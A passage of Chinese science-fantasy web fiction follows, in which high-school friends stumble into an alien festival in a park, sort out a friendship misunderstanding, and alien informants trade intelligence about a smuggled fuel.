伊始之星的电磁波十分奇妙,它近乎是一颗死星,但是又发出规律的电波。它曾有两颗卫星,如今已经化作它周围天然的太空垃圾护盾。任何彗星与星舰都无法靠近它,彗星会莫名绕路,而所有试图观察它的探索舰,都会因为各种原因而无法靠近——主要是资金、政治和操作不当。
伊始之星最大的特点是,它的电磁波永远是即时的。它可以无视空间距离,让全宇宙在同一时间接收到搏动的讯号。
即便是跳格子也只是压缩空间,需要根据两地的距离规划行进路线。可伊始之星完全不需要考虑这些,它只是搏动,并将其播撒到世界各处。这是空想文明的特征。
通历的“年”就是以它的搏动记时。波形振荡的那一刻被称为“尤里卡时刻”,象征着宇宙尺度上的新年。
律易棋在店里挂了一大堆一大堆的“年味”装饰,包括但不限于都兰联合内八大联盟的特色,还有玛丽基金会的铃铛倾情赠予的盆栽:鸟乔,这玩意儿经过声纹教学,可以模仿各种鸟类的声音,代替公园大爷的鸟说“恭喜发财”。
律易棋和她通了个视频,背景里的刘征兰在他店里一脸怪笑地放冷焰火逗鸟乔,企图让它学会冷焰火的呲呲声。
看到康烁影的位置,律易棋撑着脑袋懒洋洋地笑了:“挺好。头花带着没?”
康烁影转过头,给他看栖息在自己丸子头上的红山茶:“带着呢,蹦迪披头发不方便。”
律易棋冲她眨了下眼睛:“很好。那你就去吧!”
说完就准备挂,但是挂电话前又想起什么,脸从屏幕里悠过来:“你喜欢散心吗?”
“……对?”
“那没事了,去吧。”说完就挂了电话。
莫名其妙的。康烁影挠挠脑壳,转头就去湖边散心。本市第二大公园就在旁边,园内有人造湖一片,人造草坪一块,纯天然无公害免门票!她手里拎着路边买的rio,轻快地绕进公园,然后被原地震撼。
草坪周围拉起警戒线,她伸手摸上去,警戒线化为凌霄花树篱,毫无疑问的折射影像。看来外星人的足迹遍布地球各处,不仅深入县城甚至还遍布全省!
可这么多从音乐节离开的人,多多少少有着参差不齐的摇滚精神,为什么没有一个人违反规则强闯草坪?因为草坪周围路灯闪烁,只有一盏灯明晃晃照着脚下曲径通幽的鹅卵石路。路边散落野花若干,颜色独特;脚印少许,源自动物利爪,造型奇特;黄豆大小的荧光机器头大量,夹道欢迎。一看就是隐藏道路,这很难不走!看到这个谁还想去草坪啊!谁想去谁没品!
外星人已经深谙人类秉性,甚至制造出了完美的人类诱捕器。连康烁影都忍不住去看了一眼。该道路尽头竟然是公园人工湖,网红打卡灯塔队如长龙,路边分布宠物饮水处,许多猫猫狗狗此处玩耍歇息。
好吧,诱惑到她了。但打卡永远有,外星人不常见。她摸了一会儿萨摩耶,然后毅然决然往回走,拨开警戒线去践踏草坪。
草坪上群魔乱舞生机勃勃,游离体展开聚拢展开聚拢,模块智械把身体部件拆了满地,几个个子小得像五六岁小孩儿的人类被高大人类抗在肩上对天空敬酒。空间卷曲成圆筒,草坪真正意义上铺天盖地。
几条长得像警戒线的蛇路过康烁影,缠着她脑袋绕了几圈,走了。几只脸像卡通蝙蝠腿像狮子的小型动物走过来,在她后背腿上乱窜,爬上她脑壳后闻了闻头花,也走了。
律易棋的头花原来有欺骗灵肉的特征!不过也是,人类都长得差不多,只有灵肉会纠结气味。
康烁影害怕,但一想到这些动物都是要交税的普通公民,咬了她要被告上法庭,她就冷静了。
草坪的性质类似于过年的唐人街,一群移民扎堆庆祝自己的节日。只不过外星人嚣张多了,为了过节把原住民都赶走了。
康烁影一路大摇大摆,直奔草坪中央用广场舞音响搭起来的平台,上面站着三个身披五彩霞对天祈福的人类教士,她偷摸站到几人旁边,占领高地看了看,竟然让她找到一个熟悉的身影。
在她头顶上方的草坪上,站着一个熟悉的人,即使天地倒转她也能看出来:这个粗眉毛,这个A字牛仔短裤,是恋爱脑!
找到了人,但是如何上去还是个问题。康烁影仰头看了一会儿,差点想放弃她,拍个照发给张燕之算了。裤脚突然被什么东西拽了拽,她低头看过去,脚下团着一只橘猫。
橘猫四脚雪白,神情嫌弃,身材纤细得一看就是流浪猫。康烁影举起它的四肢,端在手里像端枪:“咪咪你会说话吗?你是小外星猫吗?”
咪咪用鄙夷的眼神看着她。
“咪咪你……长得好像我学校的流浪猫,我端它的时候它也这么鄙视我。”康烁影举起橘猫看了看山竹小猫脚,很好,没有手欠去揍鱼被鱼咬出来的伤口,不是她们学校的猫,吓她一跳。
橘猫喵喵咪咪地挣脱她的怀抱,朝远处跑去,看见康烁影没有追上来,它还用头拱了拱她的裤脚。康烁影会意,跟着它一路狂奔。跑到草坪边缘一处没有警戒线的地方,橘猫带着她一头扎进去。
落脚处从地面变成天空,仰起头还能看见刚才地上的音响台子。
经过圆形体育场的重力倒转仪,她已经完全习惯了。穿过空间折叠后停都没停,一路奔向恋爱脑。
跑着跑着,她的脚步慢下来。
恋爱脑正和一个人起争执,那个人身材高大皮肤红褐,看起来跟弓粟是一个品种。恋爱脑的双手还抓着另一个穿卫衣戴兜帽的男人,他被兜帽的阴影遮住脸,前额露出几缕深蓝的头发。
“干什么!”康烁影提声呵斥,“吕心念过来!怎么回事儿!”
兜帽男本来还不慌不忙,听见她的声音一抬头,灯光照亮他小半张雪白的脸,关键的五官仍然在阴影中。
他猛地转身,一把抽开自己的手。恋爱脑被拽得一个踉跄,但仍然不松手,兜帽男把手伸进卫衣的袋鼠兜里,直接拿出了一把熟悉的武器——电击索,律易棋给过刘征兰一样的武器。
绳索抽向恋爱脑的手臂,随着“噼啪”一声响,电光乍现,她的手被抽中,可她紧闭双眼,仍然抓着他的不放。
脚下橘猫大声嚎叫,毛茸茸身体扑向电击索。面对绳索与电流巍然不动的女孩失声尖叫,双手一把搂住橘猫身躯。
摆脱束缚的兜帽男子和褐皮肤女人一闪身就不见了。
“怎么回事?”康烁影急火攻心,“他抢你钱包了?”
恋爱脑摇头,她指着自己脚下:“你看吧。”
她脚下是一块书桌大小的光屏,王子哥在上面极限大闯关。时而与妖魔鬼怪缠斗,时而要抵抗金钱权力美色的诱惑,好不辛苦。而张燕之刚刚入场,左顾右盼,面前横亘刀山火海。
“我看到这边亮堂堂的,还以为是音乐节,就一个人跑过来了!”恋爱脑欲哭无泪,“这群怪东西问我干什么的,我说和朋友男友吵架了。有几个漂亮姐姐说,今天过节可以免费给我感情占卜。”
“你就占了?”
“我占了。”
“抽了什么牌?”
恋爱脑把牌拿给她。那是一张长方形叶片,上面画着一个城堡。
恋爱脑眨巴着迷茫的大眼睛:“他们说这是女巫的城堡,只要王子能到我这儿来,我们就能获得女巫的奖励。”
康烁影衷心赞赏:“这女巫人还怪好嘞!”
“好什么呀!我音乐节都没看成!烦死了!刚才那个黑脸女的还过来问我是不是三中的学生,是又怎么了?高中生不能谈恋爱了?”恋爱脑原地跺脚,“那个奖励最好是真的!”
康烁影把屏幕拖到空中,野餐般就地坐下,抬头望着恋爱脑:“什么奖励?”
恋爱脑也坐下。她因为闹脾气跑出去,饭也没吃饮料也没喝,现在口干舌燥,眼睛盯着康烁影的rio挪不开:“说是感情测量仪,能看出好感度的那种。”
“那不是漫画里的吗?”康烁影把rio递给她,让她直接对嘴喝。
恋爱脑用瓶底反射她们头顶的草坪:“都这个样子了,试试怎么了?”
康烁影也很惊讶:“都这个样子了,你讹点钱也比看这种没用的东西好哇!”
“千金易有,真心难求。”恋爱脑一个猛转头,“不许让我去挖野菜,要是你也这么说,我就生气!”
“还有谁这么说?”康烁影厌蠢症差点发作,幸好她自己把梗接住了。
“颜阎。”恋爱脑做出一个拉嘴上拉链的手势。
看着她猛灌一大口rio,康烁影建议她:“你要不还是听听她的话,她虽然一会儿贱嗖嗖一会儿怪兮兮,但是人还是可靠的。”
“她?”恋爱脑眯起眼睛哼哼笑了两声:“没谈过恋爱的小卡拉米懂什么呀?人活着就是为了恋爱和革命!”
康烁影虚心请教:“革命的部分呢?”
恋爱脑一顿:“有需要时,我自当革它。”
两个人在地上坐了一会儿,看着屏幕里两个人到处救公主。张燕之和王子哥在草坪上和灵肉们比斩将夺旗。张燕之从一个吸尘器的集尘盒里找到了自己的蓝色旗帜,正抱着它全面防守,而王子哥还在与叼着红旗的阿拉斯加绕场赛跑。
看到王子哥追上阿拉斯加通过这一关,恋爱脑开心地摸了一把橘猫的肚子。橘猫觉得她的摸猫手法很差,抖抖毛走了。
“对不起。”恋爱脑说,“让你们担心了。”
不仅没有担心还蹭了她晚饭的康烁影粲然一笑:“没事!不过你下次可别突然跑走了。”
恋爱脑抱起自己的膝盖:“我跑掉倒也不是是因为恋爱,主要是……我觉得ta不重视我。”
“多聊天!多交心!没有什么是沟通解决不了的。”康烁影听八卦听得津津有味,只恨手里没有瓜子和辣条,“他有对不起你什么吗?”
“没有。我只是觉得,也许我们并不适合一起。这次来音乐节也是我特意给ta买了票,他才答应要来的。”
“这能忍!”康烁影大惊,但碍于两人不是特别熟,不能说得太难听,于是她拍拍恋爱脑肩膀,“你是成大事的人!”
“我们总是在一起,能说的话从放学到回家都说完了。回家之后也总是聊一些没用的话,一个说明星呀星座呀搞笑视频呀,另一个总是发时政联合国大会和情商十讲,虽然经常聊天,偶尔也会聊到很晚,但是谁也没有认真听对方说话。我们从来没有走进对方的心里,我们的关系……可能毕业了就会结束吧。”
康烁影就从来不去想这种事。她没变成恋爱脑,全靠不想吃苦。这种未来的苦现在吃的事她可不干:“先享受一下预制爱嘛,好吃就行,高中期间谈感情不都是为了让自己有法子撑下去吗!”
“可是我真的挺爱ta,但是这种爱也渐渐稀薄了。”恋爱脑睁着空茫的眼睛,望着那令人身临其境的光幕,“爱真的有用吗?失去了共同的话题和共鸣的爱还是爱吗?以后我们都有各自的人生,只要活着就避免不了改变,我没法永远和某个人同步。即使我永远爱ta,总有一天也会走到无话可说,相互敷衍的地步吧。就像我和现在的ta一样。”
康烁影实在是听得兴致勃勃,她近日和精神病兼无性恋厮混过多,其他好友不是穷鬼就是耳钉爱好者,好久没给人做感情军师了:“我跟你讲,你别管,别考虑那么多那么远,想那些干嘛!太阳还迟早会爆炸呢!我跟你讲,上头了就在一块儿,感情淡了就算了,地球最近都八十亿人了,还能找不到和你对电波
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的?”
“可是我觉得,ta可能是有点烦我了……”
“哎呀真烦你早不理你了,你要是真心想跟他聊,就把这些都当小猫哈气,只要没挠你,你就厚脸皮!”康烁影坏笑,“我昨天说的那些是对内,简而言之就是告诉你要自我提升。对外不能用那一套,你看,你今天跟人家搞色厉内荏外刚内柔那一套,不就失败了?你要像逗小猫训小狗那样有耐心、有策略,知道不!”
恋爱脑看鬼一样看着她。
康烁影以为她醍醐灌顶,心中得意洋洋,深觉自己是感情大师:“高考以后的事高考以后再说,你现在想这些有什么用?你俩结婚都不到年纪呢!”
恋爱脑瞪大眼睛:“你说什么?什么结婚?”
“……咋滴?王子哥是外国人啊?外国人也不是不行啊?他还能是外星人?”
“什么……?什么王子哥?”
“哦哦,我刚取的外号。他不是来救你的王子吗?你要是不喜欢我就叫大名。”
恋爱脑一下子从草地上跳起来,差点踩中路过的蜥蜴:“谁说王子哥了?我没说他!我说的是燕儿!我跑掉是因为我和燕儿吵架!关王子哥什么事?”
“啊?”“啊?”“啊?”“啊?”
两个人面面相觑,双目发直地指着对方。
“我说王子哥人品怎么越来越次,来音乐节还要你付账……”
“我说你怎么给我当军师,原来是以为我听了你的话跟王子哥吵架……”
此时此刻的草坪上,勇救公主二人组已经到达下一关。
守关boss是一名小矮个,她拉来七八个路过人类,开始搞起模拟联合国。文科差得出淤泥而不染的王子哥瞠目结舌,而张燕之天天看时政联合国大会和情商十讲,已经练就出神入化的打太极技巧,即便核裁军议题抽中美国也能打个七进七出。
小矮个跟张燕之加了微信说有空一起玩模联,然后笑容满面地走了。王子哥全靠张燕之带飞,他一向有点怕这位女友的天才女友,此时不得不小心翼翼搭话:“你还懂这些?”
张燕之扭头,眼睛上下扫射,穿透王子哥单薄心灵。王子哥回以视线,却无法看穿她分毫,很难说她是单纯还是老辣。只是想找女友的他收回视线,果断闭嘴。
下一关是美轮美奂的珠翠罗绮,万千宝钻金币堆作一处,雌雄莫辨容貌秀丽的伏人起身撩发,声音如玉如珠:“看守和璧椒兰,见证人心陡峭无数,已经心灰意冷。若有人愿放弃远在天边的公主,我愿与其归隐,携宝珠金玉,作夜奔红拂。”
张燕之警惕:“拿开!你盗墓去了?我可不帮你藏匿赃物,你这些东西洗钱也不方便,我劝你去自首!”
王子哥面露不忍。但他心系恋爱脑,再无其他杂念。此人声音低低,略有愠色:“莫将我与其他凡夫俗子相比。我要寻她,即便山无棱,天地合,此心此意绝不回转!鼎铛玉石、金块珠砾,岂可乱我心!”说完便抽身而去,姿态决绝。
张燕之震撼,伸长脖子张望他背影:“这什么说话风格?中病毒了?”
伏人哈哈大笑,身后沤珠槿艳化作万千虚影,只余下寥寥几个原型。ta捡起掉在地上没有三秒的珍珠状圆球扔进嘴里,咬开后唇角溢出浆果汁水。发现张燕之在看,ta掰开地上金币,露出里面漆黑的代可可脂:“来口?”
张燕之婉拒。
她摸了摸自己校裤口袋,发现期末考试后数学老师赠送的太妃糖。她脑筋一转,把糖递给伏人。伏人大喜,丢进嘴里冲她笑。
张燕之状似无意:“你们这是在干嘛?”
伏人笑呵呵:“庆祝外星佳节。”
张燕之没懂。她这人说好听点是务实,说难听点就是有些缺乏想象力,直到目前她还没把眼前的奇观跟神神鬼鬼联系在一起,只觉得是短视频软件的新招数。至于外星人,在她眼里和神神鬼鬼是一道的。
于是她被Sep原理一击即中,直接把伏人的回复当作开玩笑略过:“我们为什么要救公主啊?你们这么多人,全都是托?多少钱?”
伏人嘴角翘翘,眼睛眯眯:“哎呀,一起玩儿嘛!玩得不开心吗?”
张燕之想起小学时体育老师让她们玩的王子救公主游戏,感觉这些人玩儿她就像体育老师逗小学生。她想了想,掐着嗓子问:“可是我真的很想见公主,我非常非常非常担心她,求求你了求求你了。”
伏人果然不是非要为难她,只是把她和王子哥当个乐子。看到她真心请求,反而替她担心起来:“真的这么着急?那好吧!我现在带你去见她!”
张燕之在画面里消失了。康烁影半天找不着她,她有点急:“她人呢?”
而恋爱脑在张燕之消失的那一刻想通了。她望着那块空缺的屏幕,心中仿佛海棠摇落。
她小时候感情极其充沛,每次听感人故事都会哭,看喜羊羊都流眼泪。她那个时候就明白,人在恋爱之前,就已经很熟悉爱了。爱不是因为恋爱而诞生的,它是一直存在的,恋爱是给爱找到一个寄托的对象。
教体育的吴老师对所有人都特别好。每次上课她都用狗尾巴草扎一个小人当公主,最后一节课的任务就是分辨那个狗尾巴草公主是她扎的,但是有一年,她破天荒地在隔壁班选了个学生做公主。
虽然在她们班上课的时候没有选,但这件事还是传到了恋爱脑耳朵里。她很难过,可她把这种心情告诉所有人,所有人都觉得没什么,只觉得她有点自私。
就算是爸爸妈妈和哥哥也这么说:“老师又不是不能有喜欢的学生。”
她明白,她心里都知道!
可是老师有喜欢的学生,不代表她不能伤心!她伤心又不是说她不是个好老师,她伤心,只是因为她很爱这个老师。她没办法用公正的眼光去看待老师喜欢的学生,因为她也是带着感情去看待老师的。
康烁影将她描述张燕之的话语误认为是王子哥,只因为她用了“爱”这种词汇,这加重了海棠树梢的份量。
“爱”这个词用在别人身上总像是负担,只有在恋爱的时候,它才正当、安全,像是拼对了地方的拼图。
为了让她满溢的内心得以发泄,为了让她旺盛的感情可以被正视,她不得不恋爱,她不得不做出“恋爱”的姿态。
不然呢?不然呢?除此之外,真正的爱在哪里?
92.千千阙歌
宝座辉煌的伊始之星搏动,
神挥起橄榄油润滑的指挥棒,
使繁星有如鲜花盛开,宇宙为之屏息,
尤里卡时刻降临。
婆旦·颇萝旦的鲜花铺洒街道,
美妙的钵音响动,
甜蜜的浆液盛满教堂的双耳杯;
和平联合收拢低空蜓的双翼,
掐灭所有的闪光,
让城市沐浴星的长河;
玫卢公约将象征和平的、躲避灾祸的二十面骰,
装进闪光的水银杯中,抛向无尽的天空;
低频下潜的居民没有奔跑的双腿,做工的双臂,
只拨动宇宙的琴弦;
柯玛社会日复一日漫游识海,
尤里卡的时刻,
从未解开宇宙的谜题;
刻石人寻找名为星球的尘埃和岩体,
在上面刻下永恒的戒律与秩序;
壤朝拜那搏动,祭出动物的肝脏与植物的根茎,
即便下一次搏动,
杀生者也将躺上祭台;
涨落之潮,
走出来去自如的朝圣之路,
回到物理的世界,
承受躯体之苦楚
地球的居民饮酒、歌唱、把玩孩童取乐,
在尤里卡的时刻,
舞蹈的脚步跺起那支撑它们的地面,
聚乙烯杯子撒出的甘甜醴酪浇灌草坪与泥土,
舞蹈旋转,纵情欢笑,
公主眼中,世间华光熠熠
王子与公主隔天地相望,双手不得牵紧。公主心中戚戚,
聪慧伶俐的公主向王子这样问话:
“你说话怎么变成这样了?”
王子哥回答:“何哉?小生不识汝意!”
“你说什么!”
“听不见!”
“啥————”
“我——听——不——见——”
康烁影双手作刀切断两人黏着的视线:“唉,俩傻子。他听不见。”她又转向王子哥,手心超前放在耳朵后面,身体拼命前倾,接着使劲儿摆手,“听!不行!”
王子哥高举手臂比出ok。然后开始原地扭动肢体。
先是大幅度地指着她们,然后踩踩地面,接着摊手。
康烁影问恋爱脑:“啥意思?”
恋爱脑学着他跺地,跺了跺,又跺了跺,还跺,康烁影说你没有麻筋吗?恋爱脑说缓解尴尬,主要原因是我没看出来他在说什么,不知道为什么,我眼前从刚才开始就亮得厉害。康烁影说你去检查一下散光吧。
王子哥看她俩都不理自己,在下面要哭,恋爱脑站起来跟他比划“听不见”。
王子哥急得像锅里的爆米花一样跳。他蹲下,重新开始比划:左手指她们,握拳,右手指他,也握拳,两个拳头碰到一起,欢呼。
恋爱脑一拍手:“他要跟我们碰头。”
“他走过来呗,咋了?人太多了不敢过?”
恋爱脑指着她们头顶:“这都天地倒转了,怎么过来?”
“也是。我是被猫带过来的。你怎么过来的?”
恋爱脑说:“你还记得一开始草坪上有音响拼起来的台子吗?上面有一群颜色闪闪亮亮跟彩虹似的宗教人员,我是被它们送上来的。”
“那你跟他比划。”
恋爱脑双手交叉,顺着自己脑袋滑下,又放在自己肩上平行着向外甩动示意教士们的服饰,接着两手握拳张开握拳再张开,表示“闪亮亮”。
“呃……呃……呃过!”王子哥在胸前打叉。
恋爱脑一拍头顶。他一直在到处跑来跑去闯关呢,确实没见过教士。
她竖起一根手指,第一个字:双手波浪般抖动,脚下摇摇晃晃站不稳;第二个字:单腿站住,指了指自己的脚;第三个字:双臂相互垂直交叉。
王子哥眯起眼睛:“海?晕?腿……鞋……脚踝?脚!后面那个是什么!奥特曼?十字射线?十字……十!脚——十——教师?教室?礁石?头巾……教士!船教士,传教士!”
他两指轻点自己额头和两肩——传教士?
恋爱脑比大拇指:Yes!
王子哥捏拳:我去了。
他潇洒一撩头发,撩掉了自己的假刘海,当事人抓起刘海夺路而逃。康烁影一下子把自己捋直了。恋爱脑赶紧挡住她的眼睛,抱歉地笑了笑:“嗯……出门玩,打扮一下……”
康烁影捂住自己染了发根脆得像拇指饼干的头发:“我懂,我懂,高中生都秃。”
没刘海王子正在赶来的路上,而张燕之已经和传教士搭上了线。对方问她要不要来了解一下我们涨落之潮和我们全知全能的主,张燕之说:“我们主张宗教自由,不允许公开场合传教,以后你别这样了。但我有个朋友最近能量比较低,说不定可以给你发展一下。”于是她成功忽悠教士把自己带到恋爱脑面前。
恋爱脑隔着很远就看到了张燕之,不是因为她站在一群教士中,而是因为她身上散发着琉璃般的明光。她恍然大悟:随着尤里卡时刻的到来,占卜师的奖励已经兑现。她眼中亮度不一的光晕就是所谓“好感度”。
那位涨落之潮的占卜师做了一个小小的把戏。它用盐和植物腊捏了一片叶子,将上面覆盖变温材料和一颗即将湮灭的“朝圣粒子”,再用命运织线作图。尤里卡时刻降临,命运织线自动崩解,感受到人的体温,变温材料融化,粒子湮灭。于是在恋爱脑眼里,不可量化的、抽象的“喜爱”被压缩作人体辉光闪烁。
但这些恋爱脑都不知道,她看着那些光芒,心中的迷茫更甚。
张燕之飞奔到她身边,掀起衣服看看肚子,没刀口,拿起手机给她看看数学题,填空第九题有思路,没脑残。她赶紧拍照片给恋爱脑的家长报平安:阿姨,她不接电话是跟我在一块儿呢,别紧张。
结果摄像头聚焦特别奇怪,拍人都是扭曲的,消息也发不出去。她开流量也没用。
恋爱脑蹙紧眉毛,眉心隆起一条浅浅的山脉。
“燕儿。”她轻轻戳她的腰,“你为什么不闯关了?”
“能动嘴解决的干嘛要动手!”张燕之一把捏起她的耳朵往两边拽,“你小子……再乱跑一次试试呢?”
恋爱脑嘴角向下撇,用一种逗朋友的嗲兮兮声音耍赖:“你闯关不成功,你不爱我了,我还跑,不跟你玩!”
“你和你小男友们玩过家家就算爱你了?你那就是空有形式金玉其外。”张燕之抽空跟康烁影点了个头,继续蹂躏恋爱脑,“念子,不是我说,你要是把这精力放学习上,你就进第一考场了。”
恋爱脑没有说话,周围精怪的狂欢将息,随之而来的是新年倒数结束后那几秒的空虚。
没有爱的形式,那要如何去证明爱呢?它能被公式求出吗?能做阅读理解吗?能够完形填空吗?
“燕儿,你烦我吗?”恋爱脑精心描画的眉眼像是一副金线描出的刺绣。
“我烦你还跟你一块儿出门,闲得。”
“如果我们家长不熟悉,你还会跟我玩吗?”
“难说。你要是还请我,我说不定还跟你来。”
恋爱脑说的不是音乐节,但她无意戳穿。她只是垂下眼睫,绵绵的热风裹着她裸露在外的皮肤,那触感像是笼在湿热热得水蒸气中。
家人的爱是天定的,爱人的爱是唯一的,那我要如何证明你的爱?朋友没有束缚,没有契约,没有排他性的道德约束,除了模仿爱的形式,我再无他法。
假装吧,过家家吧,请表演给我看吧。让爱有形状吧。
王子哥赶到了,失去刘海的额头上全是黏腻腻的汗,恋爱脑从淡粉色双肩包的网格里给他拿没拆封的餐巾纸,张燕之冷眼旁观时不时露出怪模怪样的嫌弃表情。
三人幸终。康烁影还被指使着给他仨拍了几张能发朋友圈的照片。他们走远后康烁影一跺脚,当场发了消息给颜阎:“喂!你!开门!”
摸了一天鱼好不容易决定正经写作业的颜阎:“……干嘛!”
“开门!别问!”
颜阎委屈地打开呼叫中心,被康烁影当场拽进去。被恋爱脑烦到发狂的康烁影还找到了刘征兰和律易棋,把他们全拉进门。
“干嘛?”律易棋自来熟地往地上一躺,翘起二郎腿,“我被邀请了?”
“用咱们捡的那一套骰子玩飞行棋,就现在!”康烁影在杂物架上翻箱倒柜,嘴里骂骂咧咧,“下次出门再也不找陌生人当搭子了!神经病!明儿去不去山东省博物馆玩?我预约了。让他们玩空气去吧!”
刚才那几个“漂亮姐姐”(其实是智械,康烁影看见它们背后的散热口了)鬼魅般出现,笑嘻嘻地把恋爱脑他们送走了。
“其实都是声光表演啦!”给恋爱脑发叶子片的智械在他们眼前一挥,手指轻轻将炼金商会从涨落之潮进货的天国尘弹进他们眼睛里。三个人眨眨眼,眼前一切顿时恢复如常,草坪变回原来的草坪,妖魔鬼怪披上常人的伪装,“是社会实验啦!我还录像了,我能把录像发网上吗?”
“不要。”张燕之言辞拒绝,“下次你们再整这种拐卖人口的事,我可就报警了!”
王子哥和恋爱脑在她身后狐假虎威地点头:“对对对!”“欺负人!”“强迫出镜!”“违法犯罪!”
智械遗憾地删掉了心电感应上的投稿。
临走前,它丢给恋爱脑一个包装精致密封良好的玻璃罐,里面装着黑乎乎的液体,说是小礼物,她一定会喜欢的。
三个人围着这东西研究了一阵,恋爱脑问这能吃吗,张燕之说最好别吃陌生人的食物,王子哥急于表现自己,当场开盖喝了一口,然后表情扭曲地吐出来,舌头上染出一大片黑色:“呸!汽油!”
“漱口漱口赶紧漱口!”
“哪里漱口?”
“有湖!湖边有饮水台!”
王子哥拔腿就跑,直接冲向那条
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一看就是隐藏道路的鹅卵石小道。跑到半路又冲回来:“唉我晚饭打包没有?”
张燕之咂舌:“回来请你!”
“得嘞!”
公园的道边长着树叶像皮革般滑韧的女贞树和悬铃木,糜糜热浪把被汗染深的衣服贴在她们身上,又簌簌落下来。张燕之把那个汽油瓶扔进垃圾桶,挥开苍蝇和蛾子,快步走到路灯的光圈之外,那个鹅卵石铺就的小小路口。
恋爱脑小声问:“热吗?”
“肯定啦。”
“啊……那个……听说有一种可以塞进衣服里的空调哦。”
“哦。”
“你不想要吗?”
“上市了再说吧。”
“要是能用脂肪做燃料就好了。”
“有这科技早军用啦。”
“嗯……有道理。那再热也不会脱妆的防晒会不会先发明?”
“你要是想要,生日礼物就送这个了。”
“那还是算了吧。不如省下这个钱,一会儿去吃舒芙蕾吧。”
“嗯。”
“……你……嗯……你有什么想说的吗?比如考公小技巧什么的?”
“这个我还是有的!从政最好从名校党支部做起……”
音乐节和庆祝尤里卡时刻的鬼怪都散场了,周围响着稀稀疏疏的脚步和碎语,湖边有人用吉他弹卡农的声音淌过路灯下的鹅卵石路。
“今天没听到音乐节。”
“谁的错?”
“我错了。毕业后再来吧,我还请你。”
“要是考不好可就没机会了。”
“别诅咒我。”
恋爱脑向后撑着道牙,腿直直伸到步行道上,干硬发痛的脸颊面向毫无星星的夜空。
你没有承诺,那就说明你也明白吧?我们都知道这段友谊难以持续,但是谁也不愿意说破,这对我和你来说都是折磨。
即便我告诉你我很爱你,我无比珍惜这段友情,这仍然不能阻止两颗心的远行,只是继续这种分裂而已。
我抵触分离,我不愿意屈从于惯性,至少现在,让我们继续过家家吧。即便你不能理解,我还是希望你能明白:你不关心的转发,无理取闹的争吵,没话找话的闲聊,是因为我爱你。我们已经认识快十八年了,我难以割舍你。你能明白吗?你不明白吧。
你讨厌我吧。
谁都不再说话,夜风翻覆远处的湖面,银光四溅,乐声溶溶。
一只夹子从垃圾桶取出玻璃瓶。
褐色皮肤的女人将里面的汽油滴在自己改造后的机械手指上,指尖发出一种阴阴的紫光。
“哎哟喂你瞧瞧,真是神瀵?这不地地道道的智能体专用动力燃料吗?”她把手指伸到旁边人眼皮子下面,“偃怎么把这东西给他们使?还给扔了?”
“没办法。”深蓝头发的男人道,“炼金商会想把这东西给那个戴项链的女生,她才是偃投入地球的智能体。她和掮木交流密切,说明偃早已与掮木相勾结,准备背叛和平联合。但她太警惕,提前走了,这些地球土著的地位又太低,完全不知道神瀵的重要性。估计过段时间,偃还会重新送来神瀵。”
女人摇头:“时间对不上啊。智能体降临的时间,怎么也比内小姑娘的生日要晚。”
“对外可以编造!十七年前正好是掮木的活动最频繁的时期。就算那个时候的偃已经和掮木搭上线也不足为奇。十七年前还正好是跳格子小队解散的时候,空想文明的遗物大多被都兰联合瓜分,少部分遗失。如果偃盗窃了一件遗物,并且以投放智能体的名义把它送到地球,不正好给掮木铺设了后路?”
女人沉吟片刻:“按您这么说,榕城第三中学真是掮木的人才基地?”
“是真是假,你肯定自有判断。我只是提供情报。”
“得嘞!婆旦人记仇记成这样。不就是个坎冬,又不是什么重要的殖民地,至于追着掮木打吗?”
男人没有说话,满是伤疤的脸在黑暗中格外恐怖。
女人毫不畏惧地把手里的粉色礼盒递过去,从里面取出一个透明的水晶球。水晶球库洛米的底座被她三两下拆掉,只剩下上面透明的球体。圆球很像坎冬人付款用的那种,里面的烟雾浓稠得像蜂蜜。
男人皱眉:“怎么不是涨落点?”
“咱这灰色生意,消息还没个准儿,给您钱就不错了!还想绕过都兰联合的货币体系拿涨落点儿?没门儿!这些钱够您用的了,一条情报还想买军火啊?”
男人被她这一口京腔搞得莫名自卑,抬手驱赶她:“住地球几十年,还真把自己当地球人了?”
“咋了?不行啊?您外星爷就爱看血流成河!都兰联合不让宇宙拍摄了,咱就只能拍拍穷乡僻壤!要不是刻石人管那么老宽,我也不至于被前线报社派这儿来。”女人往自己肩上一拍,一只断手似的东西飘起来,“义友,把神瀵拍个照,这大消息一发出去,咱回编辑社能扇匆巴人耳光,回北京都够买个串儿了!”
93.兼职业里的急先锋
有一件很反常识的事:在地球土著三人组中,律易棋和刘征兰的关系最好。
也许是因为颜阎过于五脊六兽不着四六,康烁影又是纯粹的生滋猫入眼自从搞到更有情绪价值的网聊对象就完全不在乎外星人了。这一群人里只有刘征兰和他是真正意义上的志趣相投,他没事就下载一点学校教材,教刘征兰学宇宙文明的义务教育。
因此刘征兰给他大开方便之门,偶尔放他进呼叫中心,趁写完作业学点课外知识。这事康烁影不知道,而颜阎一直替她瞒着。一方面怕康烁影知道了不高兴,另一方面是,康烁影太有规划了,说睡觉真睡觉说学习真学习。颜阎可不是,她偶尔学不下去还得拉律易棋一起来玩上限一百的新版赌骰子,有时候凌晨三点睡不着觉,也只有吵醒律易棋令她毫无愧疚心。
这天律易棋讲了弦理论和弧波理论,又说了点涨落之潮为了推行智能创造论进行的空想实验,不管她有没有听懂,先做着题。刘征兰捏着拳头想了一阵,对他说:“你先看店去吧,我想一会儿,不会去找你问。”
律易棋说行,然后开门就去了十字路口。
在这个隆重的日子,在这个美好的日子,在这个载入榕城史册的日子,让我们隆重地宣布:
蜜雪冰城正式入驻榕城第七天!
作为一个比县还低一级的小城镇,榕城从不曾受到连锁店的青睐。三中的社会人想装一装,都得在晚自习前骑车小电驴呜呜呜跑到陶县里买一杯瑞幸或者别的什么知名奶茶,再呜呜呜回来,一杯饮料,只嘬吸管不吞咽,吭哧吭哧喝两天。
如今,终于有一家奶茶入驻榕城。虽然它主打低端市场,但胜在一个钱少量大老少皆宜,高中生们趋之若鹜,奶茶店门口大排长龙。
律易棋好奇地球连锁奶茶店已久,今日正好喝一口,要是运气好还能给刘征兰她们带一杯。他悠哉悠哉钻进队伍里,偷摸用眼镜玩讯传。
队伍前面的人越来越少,他已经能看到奶茶店边框镶嵌着led灯管的的饮品单了。
他看了看前面的队伍,又回头瞟了一眼自己空无一人的身后,平静地扶住眼镜框,脚尖朝外准备离开。
身后排过来一个人,他没有回头,静静地撤回动作,跟着队伍往前行走。直到他前面只有奶茶店里疲惫不堪的员工,身后的人抬手,奶茶店员工尖叫着捂住耳朵瘫倒在地,律易棋冲进去把她扶起来,让她去医院看一看。
“不行。”员工撑住桌子,拼命想把自己的身子拽起来,“工资……”
